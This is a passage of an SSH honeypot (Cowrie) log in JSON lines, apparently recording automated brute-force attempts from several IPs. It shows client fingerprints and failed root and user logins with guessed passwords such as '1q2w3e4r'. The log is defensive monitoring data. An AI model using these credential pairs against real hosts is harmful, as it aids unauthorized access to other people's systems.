{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:25.109872Z","src_ip":"68.183.178.130","session":"55d12076857a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:26.091289Z","src_ip":"68.183.178.130","session":"55d12076857a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:27.331507Z","src_ip":"68.183.178.130","session":"55d12076857a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":63043,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c99658b7dc6","protocol":"ssh","message":"New connection: 49.207.40.162:63043 (10.17.0.5:22) [session: 5c99658b7dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:30.910275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:30.915462Z","src_ip":"49.207.40.162","session":"5c99658b7dc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:31.143342Z","src_ip":"49.207.40.162","session":"5c99658b7dc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:32.054981Z","src_ip":"49.207.40.162","session":"5c99658b7dc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:33.278292Z","src_ip":"49.207.40.162","session":"5c99658b7dc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":53695,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7a6f485617b","protocol":"ssh","message":"New connection: 104.28.195.187:53695 (10.17.0.5:22) [session: e7a6f485617b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:38.480646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:38.485360Z","src_ip":"104.28.195.187","session":"e7a6f485617b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:38.563831Z","src_ip":"104.28.195.187","session":"e7a6f485617b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1916","message":"login attempt [root/1916] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:38.955054Z","src_ip":"104.28.195.187","session":"e7a6f485617b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:40.073143Z","src_ip":"104.28.195.187","session":"e7a6f485617b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49574,"dst_ip":"10.17.0.5","dst_port":22,"session":"b818bdc3ed0e","protocol":"ssh","message":"New connection: 8.218.166.49:49574 (10.17.0.5:22) [session: b818bdc3ed0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:46.628416Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49dbc222d1b","protocol":"ssh","message":"New connection: 183.182.125.142:57928 (10.17.0.5:22) [session: d49dbc222d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:52.119848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:52.132664Z","src_ip":"183.182.125.142","session":"d49dbc222d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:52.408514Z","src_ip":"183.182.125.142","session":"d49dbc222d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"albert","message":"login attempt [root/albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:53.542188Z","src_ip":"183.182.125.142","session":"d49dbc222d1b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:54.409411Z","src_ip":"8.218.166.49","session":"b818bdc3ed0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:54.413030Z","src_ip":"8.218.166.49","session":"b818bdc3ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:54.820899Z","src_ip":"183.182.125.142","session":"d49dbc222d1b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:57.348186Z","src_ip":"8.218.166.49","session":"f43eaf82dd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:57.352256Z","src_ip":"8.218.166.49","session":"f43eaf82dd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":37512,"dst_ip":"10.17.0.5","dst_port":22,"session":"d932fb444288","protocol":"ssh","message":"New connection: 68.183.178.130:37512 (10.17.0.5:22) [session: d932fb444288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:04.750766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:04.755713Z","src_ip":"68.183.178.130","session":"d932fb444288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:04.996791Z","src_ip":"68.183.178.130","session":"d932fb444288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:05.980188Z","src_ip":"68.183.178.130","session":"d932fb444288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:07.220866Z","src_ip":"68.183.178.130","session":"d932fb444288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":30283,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e8a0f0df7d","protocol":"ssh","message":"New connection: 2.57.121.25:30283 (10.17.0.5:22) [session: e6e8a0f0df7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:20.978592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:20.983534Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:21.082786Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"epson","message":"login attempt [user/epson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:21.554202Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":34584,"dst_ip":"10.17.0.5","dst_port":22,"session":"c84e31333f24","protocol":"ssh","message":"New connection: 198.23.150.42:34584 (10.17.0.5:22) [session: c84e31333f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:21.783533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:21.788927Z","src_ip":"198.23.150.42","session":"c84e31333f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:21.807956Z","src_ip":"198.23.150.42","session":"c84e31333f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:21.913554Z","src_ip":"198.23.150.42","session":"c84e31333f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"endless","message":"login attempt [user/endless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:22.656982Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:22.935405Z","src_ip":"198.23.150.42","session":"c84e31333f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"emili","message":"login attempt [user/emili] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:23.760925Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:23.976382Z","src_ip":"8.218.166.49","session":"c34c69a6918c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-